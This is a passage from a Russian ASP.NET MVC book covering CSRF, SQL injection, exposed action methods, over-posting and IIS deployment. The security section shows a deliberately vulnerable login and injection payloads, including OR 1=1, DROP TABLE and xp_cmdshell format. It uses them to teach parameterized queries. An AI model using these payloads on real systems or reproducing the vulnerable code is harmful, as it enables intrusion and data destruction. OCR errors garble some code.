Обратите внимание, что имя противоподделочного cookie-набора на самом деле содержит суффикс, который варьируется в соответствии с именем виртуального каталога приложения. Это предотвращает нежелательное взаимное влияние друг на друга несвязанных приложений. Кроме того, вспомогательный метод Html.AntiForgeryToken () принимает необязательные параметры path и domain, которые являются стандартными для cookie-наборов. Они управляют тем, каким URL разрешено видеть cookie-наборы. Например, если значение path не установлено, то противоподделочный cookie-набор будет виден всем приложениям, размещенным в домене (это поведение по умолчанию, которое подходит для большинства приложений).
Такой подход к блокированию атак CSRF работает хорошо, но имеет некоторые ограничения.
•	Браузеры законных посетителей должны принимать cookie-наборы. В противном случае фильтр [ValidateAntiForgeryToken] всегда будет отклонять отправку форм из них.
•	Этот подход работает только с формами, присылающими запросы POST, а не GET. Данная проблема не возникнет, если вы следуете рекомендациям по работе с протоколом HTTP, которые гласят, что запросы GET должны предназначаться только для чтения (т.е. не должны что-либо изменять, например, записи в базе данных). Эти рекомендации подробно рассматриваются в главе 8.
•	Данный подход легко обойти, если где-нибудь в домене присутствуют уязвимости XSS. Любая брешь подобного рода позволит злоумышленнику проверить текущее значение RequestVerificationToken жертвы и затем использовать его для подделки корректной отправки. Словом, берегитесь уязвимостей к атакам XSS!
Внедрение кода SQL
Если бы проблемы безопасности выдвигались на премию Оскар, то внедрение кода SQL (SQL Injection) ежегодно завоевывало бы приз “За наиболее распространенную и опасную проблему безопасности в веб-приложениях” с 1998 г. до примерно 2004 г. Эта угроза остается наиболее знаменитой, наверное, потому, что ее легче всего понять, хотя в наши дни она менее распространена, чем уязвимости клиентской стороны.
Возможно, вы знаете, что собой представляет внедрение кода SQL. Если же нет, то взгляните на следующий пример уязвимого метода действия ASP.NET MVC:
public ActionResult Login(string username, string password) {
string sql = string.Format(
"SELECT 1 FROM [Users] WHERE Username='{0}' AND Password='{1}'", username, password);
// Предполагается наличие служебного класса для такого выполнения запросов SQL DataTable results = MyDatabase.Executecommand(new SqlCommand(sql));
if (results.Rows.Count > 0)
{
// Войти в систему с извлеченным из базы данных именем пользователя FormsAuthentication.SetAuthCookie(username, false);
return RedirectToAction("Index", "Home”);
) else {
TempData["message"] = "Sorry, login failed. Please try again";
// Сбой процедуры входа
return RedirectToAction("Loginprompt");
Глава 13. Безопасность и уязвимость 459
Атака
Проблемным кодом является тот, который динамически конструирует и выполняет SQL-запрос (он выделен полужирным). В этом коде не предпринимается попытка проверить или закодировать переданные пользователем значения username или password, поэтому злоумышленник может легко войти от имени любого пользователя и указать пароль blah' OR 1=1 —, потому что в результате получится запрос следующего вида:
SELECT 1 FROM [Users] WHERE Username='anyone' AND Password='blah' OR 1=1 —'
Еще хуже, если злоумышленник укажет username или password, содержащие DROP TABLE [Users] — или, что совсем плохо,	EXEC xp_cmdshell 'format с: 1 —.
Ограничить потенциальный ущерб могут тщательно продуманные ограничения регистрационной записи SQL Server, но сама по себе ситуация скверная.
Защита кодированием вводимых данных
Разработчики с опытом программирования на РНР часто применяют подход на основе проверки достоверности или кодирования входных данных перед встраиванием их в динамический запрос SQL6, например:
string sql = string.Format(
"SELECT 1 FROM [Users] WHERE Username=1{0}' AND Password='{1}'", username.Replace("'", "1'"), password.Replace("'",
Если вы работаете c SQL Server, то не используйте таких решений. Защита такого рода не только неудобна, поскольку нужно постоянно помнить о необходимости ее реализации, но и ненадежна, так как существуют способы ее обхода. Например, если злоумышленник заменит ' на \ ', то получится \ ' ', но \ ' — специальная управляющая последовательность, так что атака возобновится, причем приобретет персональный характер.
Защита с использованием параметризованных запросов
Более надежное решение предусматривает использование параметризованных запросов SQL Server вместо простых динамических запросов. Одна из форм параметризованных запросов являются хранимые процедуры, но с не меньшим успехом можно отправить параметризованный запрос непосредственно из кода С#7, например:
string query = "SELECT 1 FROM [Users] WHERE Username=@username AND Password=@pwd";
SqlCommand command = new SqlCommand(query);
command.Parameters.Add("Susername", SqlDbType.NVarChar, 50).Value = username;
command.Parameters.Add("@pwd", SqlDbType.NVarChar, 50).Value = password;
DataTable results = MyDatabase.Executecommand(command);
В приведенном примере значения параметров вынесены за пределы исполняемой структуры запроса. Это исключает возможность, что хитро сконструированное значение параметра может быть интерпретировано как исполняемый SQL-код.
6	Вовсе не ради критики РНР или его приверженцев: имейте в виду, что многие приложения РНР используют в качестве базы данных MySQL, а в MySQL до конца 2004 г. отсутствовала концепция подготовленных операторов (эквивалент параметризованных запросов в SQL Server).
7	Многие утверждают, что хранимые процедуры быстрее и безопаснее, но это не всегда соответствует действительности. Хранимые процедуры — это не что иное, как параметризованные запросы, только хранящиеся в базе данных. Кэширование плана выполнения выполняется одинаково. Речь не о том, чтобы не пользоваться хранимыми процедурами, а о том, что делать это не обязательно.
460 Часть II. ASP.NET MVC во всех деталях
Защита с помощью объектно-реляционного отображения
Угроза внедрения кода SQL абсолютно разрушительна, но не является распространенной в современных приложений. Одна из причин состоит в том, что большинство веб-разработчиков теперь осведомлены об угрозе, а другая — в том, что современные платформы программирования часто включают в себя встроенную защиту.
Если код доступа к данным построен на основе любого инструмента объектно-реляционного отображения (object-relational mapping — ORM), такого как LINQ to SQL, NHibemate или Microsoft Entity Framework, то все отправляемые запросы являются параметризованными. Если только не предпринимаются какие-то необычно опасные действия, например, динамическое конструирование непараметризованных запросов HQL или Entity SQL8 с конкатенацией строк, то угроза внедрения кода SQL устраняется.
Безопасное использование MVC Framework
Итак, мы рассмотрели общие проблемы безопасности приложений, разновидности атак и способы защиты в контексте ASP.NET MVC. Это хорошая отправная точка, но для защиты приложений MVC понадобится также ознакомиться с некоторыми опасностями, связанными с неправильным применением самой платформы MVC Framework.
Неумышленное раскрытие методов действий
Любой общедоступный метод класса контроллера по умолчанию является методом действия и, в зависимости от конфшурации маршрутизации, может быть вызван кем угодно из Интернета. Это далеко не всегда то, что программист имел в виду. Например, в следующем контроллере предполагается, что доступным должен быть только метод Change ():
public class Passwordcontroller : Controller
{
public ActionResult Change(string oldpwd, string newpwd, string newpwdConfirm) {
string username = HttpContext.User.Identity.Name;
// Проверить правомерность запроса
if ((newpwd — newpwdConfirm) && MyUsers.VerifyPassword(username, oldpwd)) DoPasswordChange(username, newpwd);
// ... теперь перенаправить или визуализировать представление ...
}
public void DoPasswordChange(string username, string newpassword)
{
// Запрос уже проверен выше
User user = MyUsers.GetUser(username) ;
user.SetPassword(newpassword);
MyUsers.SaveUser(user);
}
}
8 HQL и Entity SQL — это основанные на строках языки запросов, поддерживаемые NHibemate и Entity Framework соответственно. Оба выглядят и работают подобно SQL, но оперируют концептуальным представлением модели предметной области, а не лежащими в основе таблицами базы данных. Обратите внимание, что NHibemate также может опрашиваться через встроенный API-интерфейс (Criteria, a Entity Framework поддерживает запросы LINQ, так что обычно не придется обращаться к конструированию запросов HSQL или Entity SQL на основе строк.
Глава 13. Безопасность и уязвимость 461
В этом коде метод DoPas swordChange () по рассеянности (или со злым умыслом) помечен как public (это слово набирается настолько часто, что пальцы могут иногда опережать мысли), что создает едва заметную лазейку. Метод DoPasswordChange () может быть вызван непосредственно для изменения чужого пароля.
Обычно нет причин делать методы контроллеров общедоступными, если они не должны быть методами действий, потому что повторно используемый код чаще относится к модели предметной области или служебным классам, а не к классам контроллеров. Однако если все-таки в контроллере нужен общедоступный метод, который не будет методом действия, не забудьте снабдить его атрибутом [NonAction]:
[NonAction]
public void DoPasswordChange(string username, string newpassword)
{
/* остальной код не изменяется */
}
Благодаря наличию атрибута [NonAction], MVC Framework не позволит выполнять сопоставление этого метода с любым входящим запросом, а также обрабатывать запрос. В то же время этот метод можно будет вызывать из другого кода.
Предотвращение изменения уязвимых свойств привязкой модели
Об этом уже упоминалось в главе 11, но стоит повторить и здесь. Когда привязка модели заполняет объект, полученный в качестве параметра метода, или же объект, обновление которого явно запрашивается через привязку модели, она при этом по умолчанию выполняет запись в каждое свойство объекта, для которого во входящем запросе указано значение.
Например, если метод действия получает объект типа Booking, где Booking имеет свойство int по имени DiscountPercent, то злоумышленник может добавить к URL фрагмент ?DiscountPercent=100 и отпраздновать выходные за ваш счет (а кто бы отказался от скидки 100%?). Чтобы предотвратить это, с помощью атрибута [Bind] можно установить список, ограничивающий свойства, которые разрешено заполнять привязке модели:
public ActionResult
Edit([Bind(Include = "NumAdults, NumChildren")] Booking booking)
1
// ... И Т.Д. ...
}
В качестве альтернативы атрибут [Bind] можно применять для установки списка свойств, которые привязке модели модифицировать запрещено. За более подробной информацией обращайтесь в главу 11.
Резюме
В этой главе было показано, что HTTP-запросы легко поддаются манипуляции и подделке, и потому необходимо заботиться о защите разрабатываемого веб-приложения, не полагаясь на то, что происходит за пределами веб-сервера. Вы узнали о наиболее распространенных векторах атак, используемых в наши дни, включая междоменные атаки, а также о том, как защищать от них приложение.
В следующей главе речь пойдет об установке приложений на работающем публичном веб-сервере. Процесс развертывания приложений ASP.NET MVC будет рассмотрен на примерах веб-серверов ITS 6 и IIS 7.
ГЛАВА 14
Развертывание
Развертывание — это процесс установки веб-приложения на действующий публичный веб-сервер для предоставления доступа к нему реальных пользователей. Если ранее уже приходилось развертывать приложения ASP.NET, то будет приятно узнать, что развертывание ASP.NET MVC сводится к практически тем же самым действиям. Единственная новая сложность связана с маршрутизацией (при попытке использования URL без расширений на сервере IIS 6), но даже она легко преодолима, если знать, как это делать.
В этой главе рассматриваются следующие вопросы.
•	Требования к серверу для размещения на нем приложений ASP.NET MVC.
•	Архитектура обработки запросов IIS, и место маршрутизации в ней.
•	Установка веб-серверов IIS 6 и IIS 7 в среде ОС Windows Server и развертывание на них приложений ASP.NET MVC.
•	Проектирование приложений с учетом конфигурируемости для обеспечения их эффективного функционирования в среде разработки и производственной среде.
Требования к серверу
Для запуска приложений ASP.NET MVC сервер должен отвечать перечисленным ниже требованиям.
•	Иметь установленный веб-сервер IIS 5.1 или последующей версии с включенной поддержкой ASP.NET.
•	Иметь установленную платформу .NET Framework версии 3.5 (предпочтительно с пакетом обновлений SP1).
Кроме того, на сервере должна быть установлена операционная система Windows Server 2003 (выполняющая IIS6) или Windows Server 2008 (выполняющая IIS 7). Причина этой рекомендации объясняется ниже.
Обратите внимание, что сама платформа ASP.NET MVC не включена в список требований к серверу, поскольку устанавливать ее отдельно не придется. Все, что нужно будет сделать — это поместить сборку System.Web.Mvc.dll (и Microsoft.Web.Mvc.dll, если она используется) в папку \bin. Это сделано для облегчения развертывания, особенно в сценариях виртуального хостинга (shared hosting), по сравнению с тем, когда нужно устанавливать сборки в глобальный кэш сборок (GAC) сервера. Если на сервере нет .NET 3.5 SP1, понадобится также поместить в папку \bin собственные копии сборок System.Web.Abstractions.dll и System.Web.Routing.dll. Далее в главе эти шаги описываются более подробно.
Глава 14. Развертывание 463
Иногда требуется развертывать приложения ASP.NET MVC на сервере Linux или Мас OS X с использованием проекта с открытым исходным кодом Mono (Mono уже достаточно хорошо поддерживает ASP.NET 2.0). На момент написания книги было трудно заставить ASP.NET MVC корректно работать под управлением Mono, и ввиду того, что данная тема представляет лишь незначительный интерес, она не рассматривается в этой главе. Дополнительные сведения можно получить по адресу www.mono-project. сот/.
Требования для виртуального хостинга
Чтобы развернуть приложение ASP.NET MVC на виртуальном веб-хосте, регистрационная запись на хосте должна иметь доступ к ASP.NET 2.0, а на сервере должна быть установлена платформа .NET Framework версии 3.5. Это все, что нужно. Искать поставщика услуг хостинга, который предлагает специальную поддержку ASP.NET MVC, не понадобится, поскольку MVC Framework можно развернуть самостоятельно, просто поместив необходимые сборки в папку \bin.
Если у поставщика услуг хостинга сервер IIS 7 функционирует в стандартном режиме Integrated Pipeline (Интегрированный конвейер), то чистые URL без расширений можно использовать без каких-либо проблем. Случай с IIS 6 рассматривается в разделе “Развертывание на сервере IIS 6 в среде Windows Server 2003” далее в этой главе. Если хост не установит схему сопоставления с подстановочными знаками, то URL должны будут содержать расширения вроде . aspx.
Основные сведения о серверах IIS
IIS — это веб-сервер, встроенный в большинство выпусков операционной системы Windows.
•	Версия 5 встроена в ОС Windows Server 2000. Однако .NET Framework 3.5 не поддерживает Windows Server 2000, так что развертывать в этой среде веб-приложения ASP.NET MVC не получится.
•	Версия 5.1 встроена в ОС Windows ХР Professional. Однако сервер ITS 5.1 предназначен для использования только во время разработки и не должен применяться в качестве рабочего сервера.
•	Версия 6 встроена в ОС Windows Server 2003.
•	Версия 7 встроена в ОС Windows Server 2008 и в выпуски ОС Windows Vista Business/Enterprise/Ultimate. Однако Windows Vista является клиентской операционной системой и не оптимизирована для серверных рабочих нагрузок.
•	Версия 7.5 встроена в ОС Windows Server 2008 R2 и Windows 7.
Итак, почти наверняка рабочим веб-сервером будет IIS 6 или IIS 7.x. Основное внимание в настоящей главе уделяется именно этим двум вариантам. Сначала будет кратко изложена теория, положенная в основу веб-сайтов IIS, виртуальных каталогов, привязок и пулов приложений. После этого будет показано, как внутренний механизм обработки запросов IIS влияет на возможность использования URL без расширений.
Веб-сайты и виртуальные каталоги
Все версии IIS (кроме 5.1) допускают размещение нескольких независимых веб-сайтов одновременно. Для каждого веб-сайта должен быть указан корневой путь (папка в файловой системе сервера или общий ресурс в сети), и тогда ITS будет обслуживать любое статическое или динамическое содержимое, которое найдет в этой папке.
464 Часть II. ASP.NET MVC во всех деталях
Для направления входящих HTTP-запросов определенным веб-сайтам в IIS потребуется сконфигурировать привязки (bindings). Каждая привязка отображает все запросы с конкретной комбинацией IP-адреса, номера порта TCP и имени хоста HTTP на определенный веб-сайт (рис. 14.1). Дополнительные сведения о привязках будут даны ниже.
' Web Sites			
Filter:	-			i Shew All Group by: No Grouping
Name	ID	Status	Binding	Path
г-Default'A'eb Site	1	Stepped	*’-£0 *httpj	C:\Users' 5teve\Deiktop4Pr...
1 Pet store	z	Started	wftw.petstcre.com on *j8Q '’http} C:'-. A-eb\PetStore
College	3	Started	*180 (httpi	G4-.eb\StMartinsCcMege
V Dev	4	Started	(http)	C:\ife-eb MvCTestB
Рис. 14.1. Диспетчер служб IIS отображает список одновременно размещенных веб-сайтов вместе с их привязками
В качестве дополнительного уровня конфигурирования в любом месте иерархии папок сервера можно добавлять виртуальные каталоги. Каждый виртуальный каталог заставляет IIS извлекать содержимое из какого-то другого файла или сетевого ресурса и обслуживать его так, будто бы оно действительно присутствует в виртуальном каталоге под корневой папкой веб-сайта (рис. 14.2). Это несколько напоминает ярлык папки в Windows или символическую ссылку в Linux.
Default Web Site Content
Filter:
Name
J, bin Content
J Controllers Models у
* ] MyVrrtDir
; Views
M Defaultaspx
Указывает на другое место в файловой системе
Show All Group by: No Grouping
Type
File Folder File Folder File Felder File Folder
Virtual Directory File Felder
ASP.NET Server Page
Рис. 14.2. Отображение виртуальных каталогов в диспетчере служб IIS 7 (в режиме просмотра содержимого)
Каждый виртуальный каталог при желании можно пометить как независимое приложение. В этом случае он получает собственную конфигурацию приложения, и если содержит в себе приложение ASP.NET, то становится независимым от состояния родительского веб-сайта. В нем даже может выполняться другая версия ASP.NET, отличающаяся от родительского веб-сайта.
В IIS 6 было введено понятие пулов приложений как механизма обеспечения более надежной изоляции между различными веб-приложениями, работающими на одном веб-сервере. Каждый пул приложений запускает отдельный рабочий процесс, который может выполняться с различной идентичностью (что затрагивает уровень привилегий для доступа к лежащей в основе ОС) и определяет правила максимального использования памяти, процессора, расписаний повторного использования процессов и т.д. Каждый веб-сайт (или виртуальный каталог, помеченный как независимое приложение)
Глава 14. Развертывание 465
назначается какому-то пулу приложений. Когда одно из приложений терпит крах, это никак не влияет ни на сам веб-сервер, ни на другие пулы приложений.
Привязка веб-сайтов к именам хостов, IP-адресам и портам
Поскольку на одном сервере может быть размещено множество сайтов, нужна какая-нибудь система распределения входящих запросов по соответствующим сайтам. Как упоминалось ранее, каждый сайт можно привязать к одной или более комбинаций следующих параметров.
•	Номер порта (в производственной среде большинство веб-сайтов обслуживаются через порт 80).
•	Имя хоста.
•	IP-адрес (имеет значение, только когда сервер имеет более одного IP-адреса, например, при наличии нескольких установленных сетевых адаптеров).
Имя хоста и IP-адрес можно не указывать. Это создает эффект шаблона, позволяя сопоставлять с чем-то, не соответствующим конкретному веб-сайту.
Если несколько веб-сайтов имеют одинаковую привязку, в любой определенный момент времени может работать только одна из них. Виртуальные каталоги наследуют привязку своего родительского веб-сайта.
Обработка запросов и обращение к ASP.NET сервером I IS
При обнаружении соответствия определенного веб-сайта конкретному запросу серверу IIS необходимо решить, как обрабатывать такой запрос. Должен он обслужить статический файл непосредственно с диска или же обратиться к некоторой платформе поддержки веб-приложений, которая вернет динамическое содержимое? Каким образом принимается решение?
Разработчики веб-приложений ASP.NET MVC должны понимать этот механизм, по крайней мере, на базовом уровне. В противном случае наверняка возникнут проблемы с отображением запросов на существующую конфигурацию маршрутизации. Об этом будет свидетельствовать ошибка 404 Not Found (не найдено).
Обработка запросов серверами IIS 5, IIS 6 и IIS 7, функционирующими в классическом режиме
Кроме интегрированного режима IIS 7 (который будет описан ниже) имеется также классический режим IIS, появившийся в IIS 5. В этом режиме динамическое содержимое может обслуживаться только' за счет отображения файловых расширений URL на расширения ISAPI1 2.
Сервер IIS извлекает расширение имени файла из URL (например, расширение . aspx из URL http: / /hostname/folder/file. aspx?foo=bar) и передает управление соответствующему расширению ISAPI. В IIS 6 отображение на расширения ISAPI конфигуриру
1 На самом деле есть еще более старое средство CGI (Common Gateway Interface — общий шлюзовой интерфейс), но оно непригодно для хостинга приложений ASP.NET. Для обработки каждого запроса оно требовало бы запуска нового экземпляра CLR, в результате чего катастрофически бы снизилась производительность.
2 Интерфейс Internet Services API (ISAPI) — это старый подключаемый механизм IIS. Он позволяет выполнять неуправляемый код C/C++ из DLL-библиотек как часть конвейера обработки запросов.
466 Часть II. ASP.NET MVC во всех деталях
ется на странице Mappings (Отображения). Для открытия этой страницы щелкните правой кнопкой мыши на веб-сайте в диспетчере служб IIS и выберите в контекстном меню пункт Properties (Свойства). Затем последовательно выберите значки Home Directory (Домашний каталог), Configuration (Конфигурация), Mappings (Отображения). В IIS 7 можно воспользоваться страницей Handler Mappings (Сопоставления обработчиков), которая показана на рис. 14.3. Для этого в окне диспетчера служб IIS выберите соответствующий веб-сайт и дважды щелкните на значке Handler Mappings (Сопоставления обработчиков).
। Handler Mappings
Use tors feature to specify the resource. such
Croup hje i Mo cfoupmg	' ” f
Name	Path
AKD-EaPI-2,Q	Naxd
PageHendferFactory-fSAPl-ZO *.aspx SimpteH2ndierractcr.-EAR-2.0 \ashx VrfehSgrj-ceHsndfeff actor.-E... 'lesmx HttpKemctingHsndlerFadCiy... ’’.fem HttpRernetingHsndlerFartcry,.. '.scap TRACE /erbHandtef
OPTIOf4S-.e<bHsndler
StaticFrie
MvcScnptMsc	“.mvc
MvcScnptMapSI	'.nwc
Рис. 14.3. Страница сопоставления обработчиков в IIS 7, позволяющая ассоциировать расширение .aspx с библиотекой aspnet_isapi.dll
Обращение к платформе ASP.NET
Программа установки .NET Framework (или исполняемый файл aspnet regiis. ехе) автоматически настроит отображения *.aspx, ».axd, *.ashx и ряда других расширений имен файлов на специальное расширение ISAPI под названием aspnet isapi. dll. Именно так базовая платформа ASP.NET вовлекается в обработку запроса: запрос должен соответствовать одному из расширений имен файлов, и тогда сервер IIS обратится к aspnet_isapi.dll, DLL-библиотеке неуправляемого кода ISAPI, которая передаст управление исполняющей системе ASP.NET, размещенной .NET CLR в другом процессе.
Сложности, связанные с применением URL без расширений
Описанная выше система традиционно хорошо работает с серверными страницами ASP.NET, поскольку на самом деле они представляют собой дисковые файлы с расширением . aspx. Однако она намного хуже подходит для новой системы маршрутизации, в которой URL не должны соответствовать файлам на диске и часто вообще не имеют расширений имен файлов.
Как известно, новая система маршрутизации строится вокруг класса модуля .NET HTTP по имени UrlRoutingModule. Этот модуль HTTP должен рассматривать каждый запрос и принимать решение о передаче управления одному из классов контроллеров. Но поскольку это код .NET, он выполняется только во время обработки запросов, предусматривающих использование ASP.NET (т. е. тех, которые в IIS отображаются на aspnet_isapi.dll). Следовательно, если запрошенный URL не имеет соответствующего расширения имени файла, то aspnet_isapi.dll не вызывается, а это значит, что также не вызывается UrlRoutingModule, и сервер IIS просто попытается обслужить этот URL как статический файл с диска. Поскольку обычно такой файл на диске отсутствует, возникает ошибка 404 Not Found. Вот что может произойти с чистыми URL без расширений.
Глава 14. Развертывание 467
Поначалу с этой проблемой сталкиваются почти все, кому приходится развертывать приложение ASP.NET MVC на сервере IIS 6. Далее в этой главе будут описаны четыре возможных решения.
Обработка запросов в интегрированном режиме IIS 7
В сервере IIS 7 появился совершенно новый режим конвейера, который называется интегрированным режимом конвейерной обработки. В этом режиме .NET является естественной частью веб-сервера. В нем уже нет необходимости использовать расширение ISAPI для вызова кода .NET, поскольку теперь сам IIS 7 может обращаться к модулям и обработчикам HTTP (например, классы .NET, которые реализуют IHttpModule или THttpHandler) непосредственно из своих сборок .NET. Разумеется, при желании можно пользоваться и старыми неуправляемыми расширениями ISAPI.
Интегрированный режим по умолчанию включен для всех пулов приложений. Переключение пула приложений в классический режим (например, если есть унаследованные расширения ISAPI или фильтры, которые не работают правильно в интегрированном режиме) осуществляется на странице конфигурации Application Pools (Пулы приложений), показанной на рис. 14.4.
Рис. 14.4. Конфигурирование пула приложений для выполнения в интегрированном режиме
Обращение к платформе ASP.NET
В интегрированном режиме сервер IIS по-прежнему выбирает обработчики (либо расширения ISAPI, либо классы IHttpHandler) на основе расширений имен, извлеченных из URL. Это также можно сконфигурировать на странице Handler Mappings. Отличие от классического режима состоит в том, что пропускать запросы через aspnet_isapi.dll больше не требуется; теперь можно иметь прямо! отображение *.aspx на System.Web. Ui. PageHandlerFactory — класс .NET, отвечающий за компиляцию и запуск серверных страниц ASP.NET WebForms. Другие расширения ASP.NET (такие как *.ashx) отображаются на другие классы THttpHandler из .NET. После активизации ASP.NET на веб-сервере все отображения настраиваются автоматически.
Упрощение обработки URL без расширений в интегрированном режиме
Как известно, класс THttpHandler представляет конечную точку обработки запроса, поэтому каждый запрос может быть обработан только одним таким обработчиком (которые определяется по расширению имени файла из URL). Для сравнения, классы IHttpModule включаются в конвейер обработки запросов, поэтому можно иметь любое количество таких модулей, участвующих в обработке одного запроса. В IIS 7 это верно даже для запросов, которые не обрабатываются в конечном итоге средствами ASP.NET.
Поскольку UrlRoutingModule реализует интерфейс IHttpModule (а не IHttpHandler), он может участвовать в обработке всех запросов, независимо от расширений имен фай
468 Часть II. ASRNET MVC во всех деталях
лов и отображений обработчиков. При вызове UrlRoutingModule позволяет системе маршрутизации сопоставлять входящий запрос с активной конфигурацией маршрутизации, и если находит подходящий для запроса элемент, то передает управление одному из классов контроллеров (или специальному обработчику IRouteHandler).
UrlRoutingModule по умолчанию сконфигурирован на участие во всех запросах, потому что при создании нового пустого веб-приложения ASP.NET MVC в файле web. config уже присутствует узел «system.Webserver»:
<system.webServer>
•«modules runAllManagedModulesForAHRequests="true">
«remove name="ScriptModule"/>
«remove name="UrlRoutingModule"/>
«add name="ScriptModule" type="System.Web.Handlers.ScriptModule, ..."/>
<add name="UrlRoutingModule" type="System.Web.Routing.UrlRoutingModule, ... "/> </modules>
</system.Webserver»
Узел «system. webServer> — это место, где сервер IIS 7 хранит конфигурационные данные для приложения3. Поэтому после развертывания веб-приложения на сервере IIS 7 маршрутизация запросов без расширений сразу начинает работать, не требуя никакой дополнительной настройки.
Обработка запросов веб-сервером, встроенным в Visual Studio 2008
Вы уже наверняка заметили, что при запуске приложения (нажатием <F5>) во встроенном веб-сервере Visual Studio 2008, который называется webdev.webserver.exe, система маршрутизации также работает. Причина в том, что webdev.webserver.exe обрабатывает все запросы через ASP.NET, поэтому всегда будет вызываться модуль UrlRoutingModule. Вас может ожидать неприятный сюрприз, когда вы позднее развернете приложение на сервер IIS 6 и обнаружите, что там все оказывается сложнее, чем было при разработке. К счастью, существуют решения этой проблемы, которые будут рассматриваться далее в главе.
Развертывание приложения
Развертывание приложения в основном означает копирование файлов на веб-сервер с последующей настройкой сервера IIS для их обслуживания. Разумеется, при наличии и другого компонента приложения, такого как база данных, также понадобится установить и его, а также, возможно, развернуть схему данных и загрузить в нее начальную информацию. (Поскольку можно использовать любую систему управления базами данных, эта тема не в настоящей главе не рассматривается.)
Копирование файлов приложения на сервер
Во время выполнения приложение ASP.NET MVC использует в точности тот же набор файлов, что и традиционное приложение ASP.NET4.
• Скомпилированные сборки .NET (т.е. те, которые хранятся в папке \bin).
3	В отличие от ранних версий IIS, в которых конфигурационная информация хранилась в отдельной “метабазе”, которую не так-то просто развернуть.
4	В проектах ASP.NET MVC по умолчанию используется классическая модель предварительной компиляции, доступная со времен ASP.NET 1.0, а не вариант динамической компиляции, который появился в ASP.NET 2.0, но так и не обрел широкой популярности. Именно поэтому приложения ASP.NET MVC не нуждаются в наличии файлов кода C# на сервере.
Глава 14. Развертывание 469
•	Файлы конфигурации и настроек (например, web. config и любые файлы * . settings).
•	Нескомпилированные шаблоны представлений (* .aspx, * .ascx и * .master).
•	Файл Global. азах (который указывает ASP.NET, какой скомпилированный класс представляет глобальный экземпляр HttpApplication).
•	Любые статические файлы (например, графические изображения, файлы CSS и JavaScript).
•	Если приложение запускается в режиме отладки, то файлы * .pdb из папки \bin, содержащие дополнительную отладочную информацию (на рабочих серверах они развертываются редко).
Перечисленные выше файлы должны быть развернуты на веб-сервере. К ним не относятся файлы, которые касаются только аспектов разработки. К тому же, их лучше не развертывать, исходя из соображений безопасности. Таким образом, ниже перечислены файлы, которые не должны развертываться.
•	Файлы кода C# (*. cs, включая файлы отделенного кода, если они присутствуют в приложении).
•	Файлы проекта и решения (*. sin, *.suo, *.csproj или *. csproj .user).
•	Файлы из папки \ob j.
•	Все файлы, имеющие отношение к системе управления версиями исходного кода (например, папки . svn, если используется система Subversion, или * . see, если применяется Visual SourceSafe).
Совет. Вместо ручного выбора и фильтрации файлов, подлежащих развертыванию, рассмотрите возможность добавления в систему управления версиями исходного кода автоматизированного процесса сборки, который извлечет, скомпилирует и подготовит приложение к развертыванию. Популярным бесплатным вариантом является CruiseControl.NET (http://ccnet. thoughtworks . com/). В качестве более быстрой, но менее мощной альтернативы можно использовать средство публикации (Publish) из Visual Studio 2008, о котором речь пойдет ниже.
Развертывание сборок ASP.NET MVC и маршрутизации
Все приложения ASP.NET MVC зависят от трех сборок, помимо тех, что входят в состав .NETT 3.5: System.Web.Mvc.dll, System.Web.Routing.dll и System.Web. Abstractions.dll.
Поскольку эти сборки уже включены в GAC рабочей станции (благодаря программе установки ASP.NET MVC), приложение MVC может работать на рабочей станции без помещения этих сборок в папку \bin. Однако на рабочем сервере эти сборки не присутствуют в GAC. Вы должны гарантировать возможность обнаружения развернутым приложением необходимых сборок платформы. Ниже описаны два способа, как это сделать.
Способ 1: развертывание сборок платформы в папке \Ып
В сценариях с виртуальным хостингом (когда внесение изменений на стороне сервера не разрешено) простейший выбор состоит в размещении необходимых сборок в папке \Ып. Это проще всего сделать, заставив Visual Studio копировать три сборки платформы в папку \bin при каждом построении приложения. В окне Solution Explorer раскройте узел References (Ссылки), выберите эти три сборки, а затем в окне Properties (Свойства) установите параметр Copy Local (Копировать локально) в True. После перекомпиляции папка \bin будет содержать копии этих сборок, так что они окажутся и на сервере, когда вы скопируете на него файлы приложения.
470 Часть II. ASP.NET MVC во всех деталях
Способ 2: установка сборок платформы в GAC сервера
Если есть возможность установить .NET 3.5 SP1 на сервере, то так и сделайте. Этот пакет обновлений включает сборки System.Web.Routing.dll и System.Web. Abstractions . dll, так что они попадут в GAC и не придется развертывать их в папке \bin. В качестве альтернативы можно установить их в GAC, запустив программу установки ASP.NET MVC на сервере.
Где должно размещаться приложение
Приложение можно развернуть в любой папке на сервере. При первой установке сервера IIS автоматически создается папка для веб-сайта по имени Default Web Site в с: \lnetpub\wwwroot\, но размещать приложение именно в ней вовсе не обязательно. Нередко приложения размещаются на другом физическом носителе, т.е. не там, где установлена операционная система (например, в е: \websites\example. сот\). Выбор места полностью зависит от ваших предпочтений, но на него может повлиять планируемое резервное копирование сервера.
Использование средства публикации в Visual Studio 2008
В простейшем сценарии развертывания можно воспользоваться встроенным в Visual Studio 2008 средством публикации (Publish) для переноса соответствующих файлов на веб-сервер. Этот инструмент может копировать файлы приложения в перечисленные ниже места.
•	Сервер FTP.
•	Локальный экземпляр US.
•	Удаленный веб-сервер, на котором установлен пакет расширений FrontPage Server Extensions.
•	Локальный/сетевой диск.
Чтобы активизировать этот инструмент, выберите пункт меню Builds Publish <имя проекта> (Построение^Опубликовать <имя проекгпа>). Откроется диалоговое окно Publish Web (Веб-публикация), показанное на рис. 14.5. Обратите внимание на возможность выбора в группе переключателей Сору (Копировать) варианта Only files needed to run this application (Только файлы, необходимые для запуска этого приложения), который позволит отобрать набор файлов, как описано выше. Этот переключатель по умолчанию выбран.
Рис. 14.5. Средство публикации Visual Studio 2008
Глава 14. Развертывание 471
Даже если этот инструмент не удастся использовать для развертывания на конкретном веб-сервере, все равно с его помощью файлы приложения можно скопировать в локальную папку на рабочей станции. Для этого нужно будет удостовериться, что выбран переключатель Only files needed to run this application, и затем вручную перенести результирующие файлы в выбранную папку на веб-сервере.
Развертывание на сервере IIS 6 в среде Windows Server 2003
Перед развертыванием приложения на сервере, функционирующем под управлением ОС Windows Server 2003, понадобится установить IIS и .NET Framework 3.5. Для установки IIS выполните следующие шаги.
1.	Запустите мастер Manage Your Server (выбрав в меню Start (Пуск) пункт Manage Your Server (Управление сервером). Если этот пункт меню Start отсутствует, то дважды щелкните на значке Administrative Tools (Администрирование) в панели управления.
2.	Щелкните на ссылке Add or remove a role (Добавить или удалить роль) и затем на кнопке Next (Далее), чтобы пропустить начальную страницу мастера. Обнаружение сетевых настроек может занять некоторое время.
